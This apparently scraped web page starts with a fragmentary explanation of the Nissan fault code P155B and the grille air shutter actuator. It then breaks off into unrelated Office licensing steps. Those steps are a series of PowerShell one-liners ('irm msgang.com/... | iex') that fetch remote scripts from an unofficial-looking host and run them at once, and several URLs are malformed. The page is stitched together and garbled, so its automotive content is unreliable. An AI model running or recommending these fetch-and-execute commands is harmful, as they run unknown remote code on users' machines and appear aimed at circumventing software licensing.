The Nissan fault code (often identified as P155B) indicates a malfunction in the Grille Air Shutter Actuator
This code is often triggered when there is a mismatch between the expected electrical load and what the sensor reports. Common causes include: Loose or Corroded Battery Terminals
. This system uses a motorized shutter (active grille) to block or allow airflow to the radiator, helping the engine reach operating temperature faster and improving aerodynamics at high speeds. Quick Breakdown
When this code is triggered, you may notice one or more of the following issues:
1️⃣ Navigating to installation location of Office, auto detect Office 32 or 64-bit.
irm msgang.com/ospp | iex2️⃣ Checking the license status:
irm msgang.com/dstatus | iexirm office.msgang.com | iexirm office.msgang.comremkeys | iexirm install.msgang.com | iexirm msgang.com/download | iexirm msgang.com/download | iexirm msgang.com/uninstaller | iexirm office.msgang.comr2v | iex